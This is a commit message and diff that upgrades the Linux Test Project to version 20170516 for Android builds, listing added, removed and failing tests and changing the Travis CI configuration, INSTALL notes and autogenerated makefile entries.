Upgrade to LTP 20170516

A short log of commits merged as part of this is available in
Merge list

New disabled tests due to failure to build:
 setpriority01
 prot_hsymlinks

New configuration(s) added in android/include/config.h:
 HAVE_SYS_XATTR_H

Following new tests take too long and shall be disabled in VtsLtp
 dio.dio29
 dio.dio30

Following shows the difference in testcases that will be run by 'vts':

               Deleted Tests              Added Tests
	   ------------------------------------------
           syscalls.socket03        syscalls.dirtyc0w
           syscalls.msgget04       syscalls.madvise07
           syscalls.access06       syscalls.madvise08
           syscalls.access05       syscalls.madvise09
           syscalls.msgsnd04    syscalls.flistxattr03
      syscalls.setpriority05    syscalls.flistxattr02
      syscalls.setpriority04    syscalls.flistxattr01
             syscalls.nice05        syscalls.sendto02
            syscalls.umask02      syscalls.getxattr04
            syscalls.umask03  syscalls.memfd_create02
      syscalls.setpriority03         syscalls.ioctl04
           syscalls.msgsnd03         syscalls.ioctl05
           syscalls.writev03         syscalls.ioctl06
           syscalls.writev04      syscalls.quotactl03
                 commands.ld           commands.ldd01
                 commands.nm            commands.cp01
                commands.tar        commands.keyctl01
                commands.ldd           commands.tar01
            commands.objdump            commands.ld01
               commands.cpio          commands.cpio01
      commands.mkdir_tests01         commands.mkdir01
         commands.mv_tests01            commands.nm01
             commands.size01            commands.ln01
               commands.file            commands.mv01
         commands.cp_tests01          commands.file01

TODO:
Following new tests currently fail, they are to be addressed one at a
time immediately following the merge:

 syscalls.getcwd01
 commands.file01
 commands.mv01
 commands.tar01
 syscalls.madvise08
 syscalls.ioctl05
 syscalls.pselect01
 syscalls.access02
 syscalls.kcmp03
 syscalls.ioctl06
 syscalls.access04
 commands.ldd01
 syscalls.ioctl04
 syscalls.getxattr04

Change-Id: Iad24a01393cd0e35d5419b1318d2ee316575bac2
Signed-off-by: Sandeep Patil <sspatil@google.com>
diff --git a/.gitignore b/.gitignore
index 166ad3b..f125b11 100644
--- a/.gitignore
+++ b/.gitignore
@@ -31,6 +31,7 @@
 /execltp
 /ltp-devel.spec
 /README.ltp-devel
+/tags
 /Version
 /include/mk/config.mk
 /include/mk/config-openposix.mk
@@ -41,6 +42,9 @@
 /pan/ltp-pan
 /pan/ltp-scanner
 
+cscope.*
+ncscope.*
+
 .dep_modules
 .gitattributes
 .pc/
@@ -56,7 +60,6 @@
 logfile.*
 
 /utils/benchmark/ebizzy-0.3/ebizzy
-/lib/tests/bytes_by_prefix_test
 /lib/tests/tst_tmpdir_test
 /lib/tests/tst_checkpoint
 /lib/tests/tst_checkpoint_wait_timeout
diff --git a/.travis.yml b/.travis.yml
new file mode 100644
index 0000000..d937f9d
--- /dev/null
+++ b/.travis.yml
@@ -0,0 +1,75 @@
+language: c
+
+matrix:
+    include:
+        - os: linux
+          compiler: gcc-4.6
+          addons:
+              apt:
+                  sources: ['ubuntu-toolchain-r-test']
+                  packages: ['gcc-4.6']
+
+        - os: linux
+          compiler: gcc-4.7
+          addons:
+              apt:
+                  sources: ['ubuntu-toolchain-r-test']
+                  packages: ['gcc-4.7']
+
+        - os: linux
+          compiler: gcc-4.8
+          addons:
+              apt:
+                  sources: ['ubuntu-toolchain-r-test']
+                  packages: ['gcc-4.8']
+
+        - os: linux
+          compiler: gcc-4.9
+          addons:
+              apt:
+                  sources: ['ubuntu-toolchain-r-test']
+                  packages: ['gcc-4.9']
+
+        - os: linux
+          compiler: gcc-5
+          addons:
+              apt:
+                  sources: ['ubuntu-toolchain-r-test']
+                  packages: ['gcc-5']
+
+        - os: linux
+          compiler: gcc-6
+          addons:
+              apt:
+                  sources: ['ubuntu-toolchain-r-test']
+                  packages: ['gcc-6']
+
+        - os: linux
+          compiler: clang-3.5
+          addons:
+              apt:
+                  sources: ['ubuntu-toolchain-r-test', 'llvm-toolchain-precise-3.5']
+                  packages: ['clang-3.5']
+
+        - os: linux
+          compiler: clang-3.8
+          addons:
+              apt:
+                  sources: ['ubuntu-toolchain-r-test', 'llvm-toolchain-precise-3.8']
+                  packages: ['clang-3.8']
+
+        - os: linux
+          compiler: clang-3.9
+          addons:
+              apt:
+                  sources:
+                      - sourceline: "deb http://apt.llvm.org/trusty/ llvm-toolchain-trusty-3.9 main"
+                        key_url: "http://apt.llvm.org/llvm-snapshot.gpg.key"
+                      - 'ubuntu-toolchain-r-test'
+                  packages: ['clang-3.9']
+
+notifications:
+    email:
+        secure: "b/xcA/K5OyQvPPnd0PRahTH5LJu8lgz8goGHvhXpHo+ZPsPgTDXNFo5cX9fSOkMuFKeoW8iGl0wOgK2+ptc8mbYDw277K4RFIHRHeV/KIoE1EzjQnEFiL8J0oHCAvDj12o0AXeriTyY9gICXKbR31Br6Zh5eKViDJe2OAGeHeDU="
+
+script: make autotools && ./configure --prefix $HOME/ltp --with-open-posix-testsuite --with-realtime-testsuite && make -j$(getconf _NPROCESSORS_ONLN) && make -j$(getconf _NPROCESSORS_ONLN) install
diff --git a/INSTALL b/INSTALL
index ca9b98d..2620af0 100644
--- a/INSTALL
+++ b/INSTALL
@@ -181,23 +181,14 @@
 3. Build and install everything, as described above. Note the minimum software
    requirements above before doing so.
 
-4. You can run all of the tests sequentially using the example test script
-   runalltests.sh.  The script is provided to get you started.
-   See ltp-pan(1) for more information on the test driver we have provided.
-   It is simple, but it can do a lot of stuff.
-
-   NOTE: The diskio and network tests will NOT be run by the runltp script;
-   they are separate from the other tests because of additional required setup
-   overhead.
-
-5. The disk I/O tests can be run by executing the diskio.sh script.  In order
+4. The disk I/O tests can be run by executing the diskio.sh script.  In order
    for these tests to successfully operate a writable high-density 3.5" floppy
    must be in the disk drive and a CD-ROM with more than 100Mb of data must be
    in the CD-ROM drive.  The corresponding tests will fail if either disk is
    missing.
 
-6. The network tests are executed by running the networktests.sh script. The
-   network tests require some configuration for them to work correctly:
+5. The network tests are executed by running the network.sh script. The network
+   tests require some configuration for them to work correctly:
 
      i) First, there MUST be another test machine setup to act as the server
 	to these client side tests.  This machine MUST have the LTP installed
@@ -231,24 +222,18 @@
 	 Also, because certain RPC programs are tested, the "portmapper" daemon
 	 MUST be started, as well as NFS server AND lock services.
 
-    iv) Finally, before running the networktests.sh script, two variables must
-	be set within the script file.  The "RHOST" variable should be set to
-	the hostname of the server.  The "PASSWD" variable should be set to
-	root's password on the server machine.  This is necessary for tests
-	such as telnet01 and ftp01.
+    iv) Finally, before running the network.sh script, two variables must be
+	set: The "RHOST" variable should be set to the hostname of the server.
+	The "PASSWD" variable should be set to root's password on the server
+	machine. This is necessary for tests such as telnet01 and ftp01.
 
-   You can now successfully execute the networktests.sh script.
-   When you would like to run the whole network tests, specify -w option:
-	# ./networktests.sh -w
-
-   When you would like to run the same tests which networktests.sh ran till
-   2008, specify no option or -d option:
-	# ./networktests.sh
+   You can now successfully execute the network.sh script.
 
    You can run the test category which you are interested in, -h option shows
    the list of the test category:
-	# ./netwoktests.sh -h
+       # ./network.sh -h
 
+   For more info about howto run network.sh see testcases/network/README.md.
 
 Cross compiling
 ---------------
@@ -265,6 +250,13 @@
 Specify UCLINUX=1 when calling make; -DUCLINUX=1 use is deprecated and highly
 discouraged.
 
+Android Users
+-------------
+Specify ANDROID=1 when calling make. Many tests which would otherwise work are
+currently not built because they share a directory with an incompatible test.
+
+The shell scripts expect /bin/sh to exist, so create a symlink.
+
 Variables in Makefile
 ----------------------
 
diff --git a/Makefile b/Makefile
index 297f8e7..b0368a4 100644
--- a/Makefile
+++ b/Makefile
@@ -18,7 +18,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 # Force IDcheck.sh to fix any issues found with $(DESTDIR)/etc/group and
@@ -163,7 +163,7 @@
 $(foreach tgt,$(MAKE_TARGETS) include-all lib-all $(filter-out clean_install_dir,$(CLEAN_TARGETS)) $(INSTALL_TARGETS) include-install lib-install,$(eval $(call target_to_dir_dep_mapping,$(tgt))))
 
 BINDIR_INSTALL_SCRIPTS	:= execltp
-SRCDIR_INSTALL_SCRIPTS	:= IDcheck.sh runalltests.sh runltp runltplite.sh ver_linux
+SRCDIR_INSTALL_SCRIPTS	:= IDcheck.sh runltp runltplite.sh ver_linux
 SRCDIR_INSTALL_READONLY	:= Version
 SRCDIR_INSTALL_TARGETS	:= $(SRCDIR_INSTALL_SCRIPTS) $(SRCDIR_INSTALL_READONLY)
 
diff --git a/VERSION b/VERSION
index 27b57b0..43cf3b2 100644
--- a/VERSION
+++ b/VERSION
@@ -1 +1 @@
-20160510
+20170516
diff --git a/android/Android.ltp.mk b/android/Android.ltp.mk
index fa694fc..69cbdee 100644
--- a/android/Android.ltp.mk
+++ b/android/Android.ltp.mk
@@ -13,6 +13,10 @@
 
 # This file is autogenerated by gen_android_build.sh
 
+module_prebuilt := testcases/bin/tcp4-uni-tso08
+module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso08
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/tcp4-uni-basic02
 module_src_files := testcases/network/stress/tcp/uni-basic/tcp4-uni-basic02
 include $(ltp_build_prebuilt)
@@ -21,8 +25,8 @@
 module_src_files := testcases/kernel/fs/ext4-new-features/ext4_funcs.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/file1.in
-module_src_files := testcases/commands/ade/ar/file1.in
+module_prebuilt := testcases/bin/tcp6-uni-sackoff11
+module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff11
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tcp6-uni-sackoff10
@@ -53,8 +57,8 @@
 module_src_files := testcases/network/busy_poll/busy_poll01.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/file3.in
-module_src_files := testcases/commands/ade/ar/file3.in
+module_prebuilt := testcases/bin/test_ioctl
+module_src_files := testcases/kernel/syscalls/ioctl/test_ioctl
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/which01.sh
@@ -117,6 +121,10 @@
 module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic06
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/data/file01/in.zip
+module_src_files := testcases/commands/file/datafiles/in.zip
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/dnsmasq_tests.sh
 module_src_files := testcases/network/dhcp/dnsmasq_tests.sh
 include $(ltp_build_prebuilt)
@@ -129,10 +137,6 @@
 module_src_files := testcases/network/stress/route/route6-change-if
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/nmfile3.c
-module_src_files := testcases/commands/ade/nm/nmfile3.c
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/netns_helper.sh
 module_src_files := testcases/kernel/containers/netns/netns_helper.sh
 include $(ltp_build_prebuilt)
@@ -145,26 +149,14 @@
 module_src_files := testcases/commands/tpm-tools/tpmtoken/tpmtoken_import/tpmtoken_import_tests_exp06.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/nmfile1.c
-module_src_files := testcases/commands/ade/nm/nmfile1.c
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/fs_racer_dir_test.sh
 module_src_files := testcases/kernel/fs/racer/fs_racer_dir_test.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/run_semaphore_test_01.sh
-module_src_files := testcases/kernel/ipc/ipc_stress/run_semaphore_test_01.sh
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/xinetd_tests.sh
 module_src_files := testcases/network/xinetd/xinetd_tests.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/arp01
-module_src_files := testcases/network/tcp_cmds/arp/arp01
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/filecapstest.sh
 module_src_files := testcases/kernel/security/filecaps/filecapstest.sh
 include $(ltp_build_prebuilt)
@@ -173,12 +165,12 @@
 module_src_files := testcases/network/multicast/mc_cmds/mc_cmds
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/nfs04
-module_src_files := testcases/network/nfs/nfs_stress/nfs04
+module_prebuilt := testcases/data/ld01/d1.c
+module_src_files := testcases/commands/ld/datafiles/d1.c
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp6-uni-sackoff11
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff11
+module_prebuilt := testcases/bin/nfs04
+module_src_files := testcases/network/nfs/nfs_stress/nfs04
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tpmtoken_init_tests_exp01.sh
@@ -205,16 +197,12 @@
 module_src_files := testcases/commands/tpm-tools/tpmtoken/tpmtoken_import/tpmtoken_import_tests_exp04.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/broken_ip4_lib.sh
-module_src_files := testcases/network/stress/broken_ip/broken_ip4_lib.sh
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/nfs05
 module_src_files := testcases/network/nfs/nfs_stress/nfs05
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/cpuset_memory_spread_testset.sh
-module_src_files := testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_memory_spread_testset.sh
+module_prebuilt := testcases/data/ar01/file2.in
+module_src_files := testcases/commands/ar/datafiles/file2.in
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/fs_bind/bind/test24
@@ -261,8 +249,12 @@
 module_src_files := testcases/network/stress/route/route4-change-gw
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/test_ioctl
-module_src_files := testcases/kernel/syscalls/ioctl/test_ioctl
+module_prebuilt := testcases/bin/fs_racer_dir_create.sh
+module_src_files := testcases/kernel/fs/racer/fs_racer_dir_create.sh
+include $(ltp_build_prebuilt)
+
+module_prebuilt := testcases/bin/memcg_limit_in_bytes.sh
+module_src_files := testcases/kernel/controllers/memcg/functional/memcg_limit_in_bytes.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/su01_s1
@@ -281,6 +273,10 @@
 module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport01
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/tcp4-uni-winscale08
+module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale08
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/tcp6-uni-winscale11
 module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale11
 include $(ltp_build_prebuilt)
@@ -289,6 +285,14 @@
 module_src_files := testcases/network/tcp_cmds/ftp/ftp_setup
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/tcp6-multi-diffport09
+module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport09
+include $(ltp_build_prebuilt)
+
+module_prebuilt := testcases/bin/busy_poll_lib.sh
+module_src_files := testcases/network/busy_poll/busy_poll_lib.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/smack_common.sh
 module_src_files := testcases/kernel/security/smack/smack_common.sh
 include $(ltp_build_prebuilt)
@@ -329,8 +333,8 @@
 module_src_files := testcases/commands/tpm-tools/tpmtoken/tpmtoken_init/tpmtoken_init_tests_exp03.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/memcg_function_test.sh
-module_src_files := testcases/kernel/controllers/memcg/functional/memcg_function_test.sh
+module_prebuilt := testcases/bin/tcp6-uni-basic05
+module_src_files := testcases/network/stress/tcp/uni-basic/tcp6-uni-basic05
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tcp6-uni-basic04
@@ -377,6 +381,10 @@
 module_src_files := testcases/network/busy_poll/busy_poll02.sh
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/data/ld01/f1.c
+module_src_files := testcases/commands/ld/datafiles/f1.c
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/data/mc_member/TooManyGroups
 module_src_files := testcases/network/multicast/mc_member/datafiles/TooManyGroups
 include $(ltp_build_prebuilt)
@@ -425,6 +433,10 @@
 module_src_files := testcases/network/virt/vlan03.sh
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/ping02.sh
+module_src_files := testcases/network/tcp_cmds/ping/ping02.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/quota_remount_test01.sh
 module_src_files := testcases/kernel/fs/quota_remount/quota_remount_test01.sh
 include $(ltp_build_prebuilt)
@@ -478,7 +490,7 @@
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/nm01
-module_src_files := testcases/commands/ade/nm/nm01
+module_src_files := testcases/commands/nm/nm01
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/runpwtests_exclusive01.sh
@@ -533,8 +545,8 @@
 module_src_files := testcases/kernel/fs/fs_bind/cloneNS/test07
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/fs_racer.sh
-module_src_files := testcases/kernel/fs/racer/fs_racer.sh
+module_prebuilt := testcases/bin/fs_bind/cloneNS/test06
+module_src_files := testcases/kernel/fs/fs_bind/cloneNS/test06
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/fs_bind/cloneNS/test01
@@ -550,7 +562,7 @@
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/ar01
-module_src_files := testcases/commands/ade/ar/ar01
+module_src_files := testcases/commands/ar/ar01
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/ns-echoclient
@@ -561,10 +573,6 @@
 module_src_files := testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_buffer_size_kb.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/vxlan02.sh
-module_src_files := testcases/network/virt/vxlan02.sh
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/udp4-uni-basic02
 module_src_files := testcases/network/stress/udp/uni-basic/udp4-uni-basic02
 include $(ltp_build_prebuilt)
@@ -573,16 +581,16 @@
 module_src_files := testcases/network/stress/interface/if-route-adddel
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/file5.in
-module_src_files := testcases/commands/ade/ar/file5.in
+module_prebuilt := testcases/data/unzip01/dir.out
+module_src_files := testcases/commands/unzip/datafiles/dir.out
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tcp6-multi-diffnic08
 module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic08
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp4-uni-sackoff04
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff04
+module_prebuilt := testcases/data/file01/in.sh
+module_src_files := testcases/commands/file/datafiles/in.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/cpuhotplug02.sh
@@ -637,6 +645,10 @@
 module_src_files := testcases/kernel/security/mmc_security/force_erase.sh
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/data/ld01/rd1.c
+module_src_files := testcases/commands/ld/datafiles/rd1.c
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/tcp6-uni-smallsend14
 module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend14
 include $(ltp_build_prebuilt)
@@ -657,6 +669,10 @@
 module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend12
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/memcg_stat_rss.sh
+module_src_files := testcases/kernel/controllers/memcg/functional/memcg_stat_rss.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/runpwtests01.sh
 module_src_files := testcases/kernel/power_management/runpwtests01.sh
 include $(ltp_build_prebuilt)
@@ -701,6 +717,10 @@
 module_src_files := testcases/kernel/tracing/ftrace_test/ftrace_lib.sh
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/runpwtests_exclusive02.sh
+module_src_files := testcases/kernel/power_management/runpwtests_exclusive02.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/tcp4-uni-pktlossdup14
 module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup14
 include $(ltp_build_prebuilt)
@@ -765,6 +785,10 @@
 module_src_files := testcases/kernel/fs/racer/fs_racer_file_create.sh
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/data/file01/in.ar
+module_src_files := testcases/commands/file/datafiles/in.ar
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/tpmtoken_import_tests_exp03.sh
 module_src_files := testcases/commands/tpm-tools/tpmtoken/tpmtoken_import/tpmtoken_import_tests_exp03.sh
 include $(ltp_build_prebuilt)
@@ -777,8 +801,8 @@
 module_src_files := testcases/network/stress/ns-tools/killall_udp_traffic
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/udp6-uni-basic01
-module_src_files := testcases/network/stress/udp/uni-basic/udp6-uni-basic01
+module_prebuilt := testcases/bin/tst_ansi_color.sh
+module_src_files := testcases/lib/tst_ansi_color.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/smack_set_cipso.sh
@@ -841,6 +865,14 @@
 module_src_files := testcases/network/nfs/nfs_stress/nfs_lib.sh
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/data/ld01/rf1.c
+module_src_files := testcases/commands/ld/datafiles/rf1.c
+include $(ltp_build_prebuilt)
+
+module_prebuilt := testcases/bin/udp_ipsec.sh
+module_src_files := testcases/network/stress/udp/udp_ipsec.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/tcp4-multi-sameport04
 module_src_files := testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport04
 include $(ltp_build_prebuilt)
@@ -973,16 +1005,16 @@
 module_src_files := testcases/kernel/hotplug/cpu_hotplug/tools/cpuhotplug_report_proc_interrupts
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/traceroute01.sh
+module_src_files := testcases/network/traceroute/traceroute01.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/run_io_throttle_test.sh
 module_src_files := testcases/kernel/controllers/io-throttle/run_io_throttle_test.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/file7.in
-module_src_files := testcases/commands/ade/ar/file7.in
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuhotplug_do_disk_write_loop
-module_src_files := testcases/kernel/hotplug/cpu_hotplug/tools/cpuhotplug_do_disk_write_loop
+module_prebuilt := testcases/data/file01/in.c
+module_src_files := testcases/commands/file/datafiles/in.c
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tcp6-uni-sackoff05
@@ -1005,8 +1037,8 @@
 module_src_files := testcases/commands/logrotate/logrotate_tests.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp6-multi-diffip01
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip01
+module_prebuilt := testcases/bin/dns-stress-lib.sh
+module_src_files := testcases/network/stress/dns/dns-stress-lib.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/sendfile01
@@ -1025,8 +1057,8 @@
 module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip05
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/nmfile.c
-module_src_files := testcases/commands/ade/nm/nmfile.c
+module_prebuilt := testcases/data/ar01/file4.in
+module_src_files := testcases/commands/ar/datafiles/file4.in
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tcp6-multi-diffip07
@@ -1050,7 +1082,7 @@
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/mkdir_tests.sh
-module_src_files := testcases/commands/fileutils/mkdir/mkdir_tests.sh
+module_src_files := testcases/commands/mkdir/mkdir_tests.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/icmp6-multi-diffnic02
@@ -1058,7 +1090,7 @@
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/mv_tests.sh
-module_src_files := testcases/commands/fileutils/mv/mv_tests.sh
+module_src_files := testcases/commands/mv/mv_tests.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tcp6-uni-sackoff02
@@ -1137,8 +1169,12 @@
 module_src_files := testcases/kernel/fs/fs_bind/move/test01
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/virt_lib.sh
-module_src_files := testcases/network/virt/virt_lib.sh
+module_prebuilt := testcases/data/ld01/main.c
+module_src_files := testcases/commands/ld/datafiles/main.c
+include $(ltp_build_prebuilt)
+
+module_prebuilt := testcases/bin/tcp4-uni-smallsend13
+module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend13
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tpmtoken_init_tests_exp02.sh
@@ -1149,6 +1185,10 @@
 module_src_files := testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip01
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/data/file01/in.txt
+module_src_files := testcases/commands/file/datafiles/in.txt
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/syslog08
 module_src_files := testcases/kernel/syscalls/syslog/syslog08
 include $(ltp_build_prebuilt)
@@ -1269,8 +1309,8 @@
 module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff08
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/fs_bind/bind/test13
-module_src_files := testcases/kernel/fs/fs_bind/bind/test13
+module_prebuilt := testcases/bin/finger01
+module_src_files := testcases/network/tcp_cmds/finger/finger01
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/run_cpuctl_test_fj.sh
@@ -1294,11 +1334,11 @@
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/cp_tests.sh
-module_src_files := testcases/commands/fileutils/cp/cp_tests.sh
+module_src_files := testcases/commands/cp/cp_tests.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/ln_tests.sh
-module_src_files := testcases/commands/fileutils/ln/ln_tests.sh
+module_src_files := testcases/commands/ln/ln_tests.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/run_pec_test
@@ -1321,8 +1361,8 @@
 module_src_files := testcases/network/tcp_cmds/rdist/rdist01
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/file4.in
-module_src_files := testcases/commands/ade/ar/file4.in
+module_prebuilt := testcases/data/file01/in.png
+module_src_files := testcases/commands/file/datafiles/in.png
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/runpwtests05.sh
@@ -1345,6 +1385,10 @@
 module_src_files := testcases/network/tcp_cmds/ssh/ssh02_s1
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/clockdiff01.sh
+module_src_files := testcases/network/tcp_cmds/clockdiff/clockdiff01.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/test_9_1.sh
 module_src_files := testcases/kernel/controllers/cgroup/test_9_1.sh
 include $(ltp_build_prebuilt)
@@ -1369,6 +1413,10 @@
 module_src_files := testcases/kernel/security/mmc_security/remove_password.sh
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/data/file01/in.py
+module_src_files := testcases/commands/file/datafiles/in.py
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/su01
 module_src_files := testcases/commands/su/su01
 include $(ltp_build_prebuilt)
@@ -1385,6 +1433,14 @@
 module_src_files := testcases/network/tcp_cmds/netstat/netstat01
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/data/file01/in.pl
+module_src_files := testcases/commands/file/datafiles/in.pl
+include $(ltp_build_prebuilt)
+
+module_prebuilt := testcases/data/file01/in.tar.bz2
+module_src_files := testcases/commands/file/datafiles/in.tar.bz2
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/broken_ip4-dstaddr
 module_src_files := testcases/network/stress/broken_ip/broken_ip4-dstaddr
 include $(ltp_build_prebuilt)
@@ -1393,10 +1449,6 @@
 module_src_files := testcases/network/virt/vxlan01.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/broken_ip6_lib.sh
-module_src_files := testcases/network/stress/broken_ip/broken_ip6_lib.sh
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/zram_lib.sh
 module_src_files := testcases/kernel/device-drivers/zram/zram_lib.sh
 include $(ltp_build_prebuilt)
@@ -1473,12 +1525,16 @@
 module_src_files := testcases/commands/tpm-tools/tpm/tpm_changeauth/tpm_changeauth_tests_exp03.sh
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/memcg_test_4.sh
+module_src_files := testcases/kernel/controllers/memcg/regression/memcg_test_4.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/cron_pos_tests.sh
 module_src_files := testcases/commands/cron/cron_pos_tests.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/assign_password.sh
-module_src_files := testcases/kernel/security/mmc_security/assign_password.sh
+module_prebuilt := testcases/data/file01/in.mp3
+module_src_files := testcases/commands/file/datafiles/in.mp3
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/cron_deny01
@@ -1505,6 +1561,14 @@
 module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff08
 include $(ltp_build_prebuilt)
 
